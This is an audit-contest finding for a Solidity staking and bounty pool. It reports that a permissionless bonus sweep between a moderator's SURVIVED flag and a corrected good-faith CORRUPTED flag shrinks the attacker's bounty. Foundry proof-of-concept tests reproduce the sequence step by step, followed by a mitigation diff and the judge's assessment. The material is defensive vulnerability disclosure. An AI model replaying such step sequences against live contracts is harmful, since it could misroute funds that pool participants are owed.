FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Bonus Sweep Can Erase a Corrected Good-Faith Bounty While the Re-Flag Window Remains Open

Author Revealed upon completion

Root + Impact

Description

The moderator is allowed to correct a pool outcome before value-moving claims begin. When the final outcome is good-faith CORRUPTED, the named attacker should receive a bounty equal to the pool's snapshotted eligible stake plus bonus.

However, sweepUnclaimedBonus() can move accounted bonus to recoveryAddress after an initial SURVIVED flag while intentionally leaving claimsStarted == false. The sweep decrements live totalBonus whenever either totalEligibleStake == 0 or riskWindowStart == 0. A later moderator correction to good-faith CORRUPTED re-snapshots the reduced totalBonus, so the attacker receives less bounty than the same correction would have paid without the intervening sweep.

This can happen through two closely related branches:

  • Observed-risk, zero-staker branch: the pool has observed active risk, but no live stakers remain. The sweep reserves nothing, transfers the accounted bonus, and the corrected good-faith bounty loses the swept bonus.

  • No-risk-window, live-staker branch: the registry reaches terminal CORRUPTED without the pool observing active risk, so riskWindowStart == 0. The sweep reserves staker principal only, treats the entire bonus as unowed to stakers, transfers it to recoveryAddress, and the corrected good-faith bounty loses the swept bonus.

The reflaggable moderator snapshot is written in ConfidencePool.sol::flagOutcome:

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
// ... code validates state/outcome compatibility ...
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
// ... code snapshots stake-time accounting ...
@> corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
}

The bonus sweep accounting is in ConfidencePool.sol::sweepUnclaimedBonus:

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
@> if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
// ... code computes sweepable amount from free balance minus reserved funds ...
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
@> if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
// ... code does not set claimsStarted ...
@> stakeToken.safeTransfer(recoveryAddress, amount);
}

The good-faith bounty payout is then capped by current balance in ConfidencePool.sol::claimAttackerBounty:

function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
@> if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
// ... code updates bountyClaimed and corruptedReserve ...
if (payout > 0) {
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(attacker, payout);
}
}

Risk

Likelihood: Low

  • The path requires an initial SURVIVED flag, an open moderator correction window, and a later correction to good-faith CORRUPTED.

  • The accounted bonus must be sweepable through either totalEligibleStake == 0 or riskWindowStart == 0.

  • Once the initial SURVIVED flag exists, any account can call sweepUnclaimedBonus() before the correction.

Impact: High

  • The named good-faith attacker can receive less bonus bounty, or zero bonus bounty, even though the same bonus would be paid in a corrected good-faith CORRUPTED outcome without the intervening sweep.

  • The swept funds move to recoveryAddress, not to the public caller, but the path directly reduces the bounty owed to the named good-faith attacker. Under the contest severity matrix, direct loss of the bonus portion of a whitehat bounty with low likelihood is best classified as Medium.

Proof of Concept

The PoC files included with this report are:

ObservedRiskZeroStakerBonusSweepPoC.t.sol
ReflagSweepBonusTheftPoC.t.sol

To run it in a fresh contest checkout:

  1. Copy both PoC files into the repository's test/ directory.

  2. Run:

forge test --match-contract 'ObservedRiskZeroStakerBonusSweepPoC|ReflagSweepBonusTheftPoC' -vv

Expected result:

2 passed, 0 failed

The PoCs demonstrate:

  • Observed-risk, zero-staker path: observed risk, zero live stakers, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and zero bonus bounty.

  • No-risk-window, live-staker path: terminal CORRUPTED without observed active risk, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and a bounty reduced by the swept bonus.

Inline PoC source (ObservedRiskZeroStakerBonusSweepPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract ObservedRiskZeroStakerBonusSweepPoC is BaseConfidencePoolTest {
function testObservedRiskZeroStakerSweepErasesCorrectedBounty() external {
uint256 bonusAmount = 50 * ONE;
_contributeBonus(carol, bonusAmount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "risk was observed");
assertEq(pool.totalEligibleStake(), 0, "no live stakers");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.snapshotTotalBonus(), bonusAmount, "survived snapshot included bonus");
assertFalse(pool.claimsStarted(), "correction window open");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonusAmount, "bonus swept to recovery");
assertEq(pool.totalBonus(), 0, "live bonus accounting reduced");
assertFalse(pool.claimsStarted(), "sweep did not lock correction");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.snapshotTotalBonus(), 0, "corrected snapshot lost swept bonus");
assertEq(pool.bountyEntitlement(), 0, "attacker has no bounty left");
vm.prank(attacker);
vm.expectRevert(IConfidencePool.BountyAlreadyClaimed.selector);
pool.claimAttackerBounty();
}
}

Inline PoC source (ReflagSweepBonusTheftPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @title POC: Re-flag + Sweep Bonus Theft Chain
/// @notice Demonstrates that sweepUnclaimedBonus called between a SURVIVED flag and a
/// good-faith CORRUPTED re-flag permanently reduces the attacker's bountyEntitlement.
///
/// Root cause: sweepUnclaimedBonus intentionally does NOT set claimsStarted (to prevent
/// donation griefing of the re-flag window), but DOES decrement totalBonus. When the
/// moderator re-flags to CORRUPTED, flagOutcome re-snapshots snapshotTotalBonus from the
/// decremented live totalBonus, shrinking bountyEntitlement by the swept amount.
///
/// Impact: Good-faith attacker loses their entire share of the bonus pool, which is
/// redirected to recoveryAddress (controlled by the pool owner).
///
/// Prerequisites:
/// 1. riskWindowStart == 0 (active risk was never observed by the pool)
/// 2. Moderator flags SURVIVED first (wrong judgment, out-of-scope determination, or collusion)
/// 3. Someone permissionlessly calls sweepUnclaimedBonus before moderator re-flags
/// 4. Moderator re-flags to good-faith CORRUPTED
contract ReflagSweepBonusTheftPoC is BaseConfidencePoolTest {
/// @dev Core exploit: sweep between SURVIVED flag and CORRUPTED re-flag steals bonus from attacker.
function test_sweepBetweenReflagsDrainsBounty() external {
// ====================================================================
// SETUP: Stakers deposit 200e18, sponsor contributes 50e18 bonus
// ====================================================================
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_stake(bob, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 totalStaked = stakeAmount * 2;
uint256 expectedFullBounty = totalStaked + bonusAmount; // 250e18
assertEq(pool.totalEligibleStake(), totalStaked, "total stake = 200e18");
assertEq(pool.totalBonus(), bonusAmount, "total bonus = 50e18");
assertEq(token.balanceOf(address(pool)), expectedFullBounty, "pool balance = 250e18");
// ====================================================================
// PRECONDITION: Registry goes directly to CORRUPTED without pool observing UNDER_ATTACK.
// This is realistic when the exploit is fast or nobody calls a pool function during
// the UNDER_ATTACK window.
// ====================================================================
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart(), 0, "riskWindowStart must be 0 (unobserved active risk)");
// ====================================================================
// STEP 1: Moderator flags SURVIVED (believes breach was out-of-scope)
//
// flagOutcome (L322-378):
// - L327: outcome == UNRESOLVED, so re-flag gate does not fire
// - L328: _observePoolState() -> CORRUPTED is terminal, not active-risk
// -> riskWindowStart stays 0, riskWindowEnd gets set
// - L338: SURVIVED accepts CORRUPTED registry state (out-of-scope judgment)
// - L357-362: snapshot taken with current totalBonus (50e18)
// ====================================================================
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "outcome = SURVIVED");
assertFalse(pool.claimsStarted(), "claimsStarted = false (re-flag window open)");
assertEq(pool.snapshotTotalBonus(), bonusAmount, "first snapshot includes full bonus");
assertEq(pool.riskWindowStart(), 0, "riskWindowStart still 0 after flag");
// ====================================================================
// STEP 2: Anyone calls sweepUnclaimedBonus (permissionless)
//
// sweepUnclaimedBonus (L474-508):
// - L475: outcome == SURVIVED -> passes
// - L483-488: reserved = totalEligibleStake = 200e18
// (riskWindowStart == 0, so bonus NOT reserved)
// - L491-492: amount = 250e18 - 200e18 = 50e18 (entire bonus)
// - L499-500: totalBonus -= 50e18 (because riskWindowStart == 0)
// -> totalBonus = 0
// - L503-505: claimsStarted intentionally NOT set
// - L506: transfer 50e18 to recoveryAddress
// ====================================================================
uint256 recoveryBalBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
uint256 bonusSwept = token.balanceOf(recovery) - recoveryBalBefore;
assertEq(bonusSwept, bonusAmount, "entire bonus (50e18) swept to recovery");
assertEq(pool.totalBonus(), 0, "totalBonus decremented to 0");
assertFalse(pool.claimsStarted(), "claimsStarted STILL false after sweep");
assertEq(token.balanceOf(address(pool)), totalStaked, "pool has only staked principal");
// ====================================================================
// STEP 3: Moderator re-flags to good-faith CORRUPTED
//
// flagOutcome (L322-378):
// - L327: outcome == SURVIVED (not UNRESOLVED) but claimsStarted == false
// -> condition is (true && false) = false, does NOT revert
// - L328: _observePoolState() -> CORRUPTED, no state changes
// - L347: state == CORRUPTED -> passes
// - L357-362: RE-SNAPSHOT with CURRENT totalBonus:
// snapshotTotalBonus = totalBonus = 0 (post-sweep)
// corruptedReserve = totalStaked + 0 = 200e18
// bountyEntitlement = totalStaked + 0 = 200e18
// ====================================================================
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "outcome = CORRUPTED");
assertEq(pool.snapshotTotalBonus(), 0, "re-snapshot captures depleted totalBonus");
assertEq(pool.bountyEntitlement(), totalStaked, "bounty = stake only, bonus is LOST");
assertLt(pool.bountyEntitlement(), expectedFullBounty, "bounty < expected full bounty");
// ====================================================================
// STEP 4: Attacker claims their (reduced) bounty
//
// claimAttackerBounty (L432-453):
// - remaining = 200e18, freeBalance = 200e18, payout = 200e18
// - attacker receives 200e18 instead of 250e18
// ====================================================================
uint256 attackerBalBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBalBefore;
assertEq(attackerPayout, totalStaked, "attacker receives 200e18 (stake only)");
assertEq(token.balanceOf(address(pool)), 0, "pool is fully drained");
// ====================================================================
// IMPACT SUMMARY
// ====================================================================
// Expected: attacker gets 250e18 (full pool), recovery gets 0
// Actual: attacker gets 200e18, recovery gets 50e18
// Loss to attacker: 50e18 (entire bonus pool)
uint256 attackerLoss = expectedFullBounty - attackerPayout;
assertEq(attackerLoss, bonusAmount, "attacker lost exactly the bonus amount (50e18)");
assertEq(
token.balanceOf(recovery) - recoveryBalBefore,
bonusAmount,
"bonus redirected to recoveryAddress"
);
// Total distributed = attacker + recovery = 200 + 50 = 250 = original pool
assertEq(
attackerPayout + bonusSwept,
expectedFullBounty,
"all funds distributed, but incorrectly split"
);
}
}

Recommended Mitigation

Treat an accounted bonus sweep after an outcome has been flagged as value-moving finality, or explicitly preserve corrected-good-faith bounty value while the registry is terminally CORRUPTED and the moderator can still reflag.

One possible mitigation is to close the correction window when a sweep removes accounted bonus during an open correction window:

+ uint256 accountedBonusSwept;
if (totalEligibleStake == 0 || riskWindowStart == 0) {
- totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ accountedBonusSwept = amount <= totalBonus ? amount : totalBonus;
+ totalBonus -= accountedBonusSwept;
}
+ if (!claimsStarted && outcome == PoolStates.Outcome.SURVIVED && accountedBonusSwept != 0) {
+ claimsStarted = true;
+ }
+
stakeToken.safeTransfer(recoveryAddress, amount);

Alternatively, disallow sweepUnclaimedBonus() while the live registry state is CORRUPTED and the moderator correction window remains open, or carry forward the earlier bonus snapshot when correcting SURVIVED to good-faith CORRUPTED.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

sweepUnclaimedBonus() omits claimsStarted latch, letting a moderator re-flag re-snapshot a drained totalBonus and short the CORRUPTED bounty

Impact – Medium Up to the entire bonus pool can be routed to the wrong party for good, with no on-chain way to unwind it, and in a stakerless pool the effect is total since bountyEntitlement computes to zero and claimAttackerBounty reverts outright. This impact is definitely not High: the pool stays solvent throughout with no principal ever at risk, and the money ends up at the sponsor's own recoveryAddress, which in most pools means a sponsor recovering a bonus they funded themselves. The whitehat's claim on that bonus also only exists because the moderator changed their mind after the fact. Likelihood – Low Four separate things have to coincide: nobody touches the pool for the whole active-risk window (or there are no stakers to begin with), the moderator flags SURVIVED and later reverses to CORRUPTED, that reversal is good-faith with a named attacker, and a sweep lands between the two flags. The first cuts against staker self-interest, since skipping the poke costs them their entire bonus share, and the second asks the moderator to overturn a scope judgement, which is a bigger deal than the typo fix DESIGN.md #4 offers the window for. The sweep itself I'd treat as near-certain once the rest holds, given it's permissionless and the sponsor has an obvious reason to make the call, but assembling the first three in one pool lifecycle is where this stays rare.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!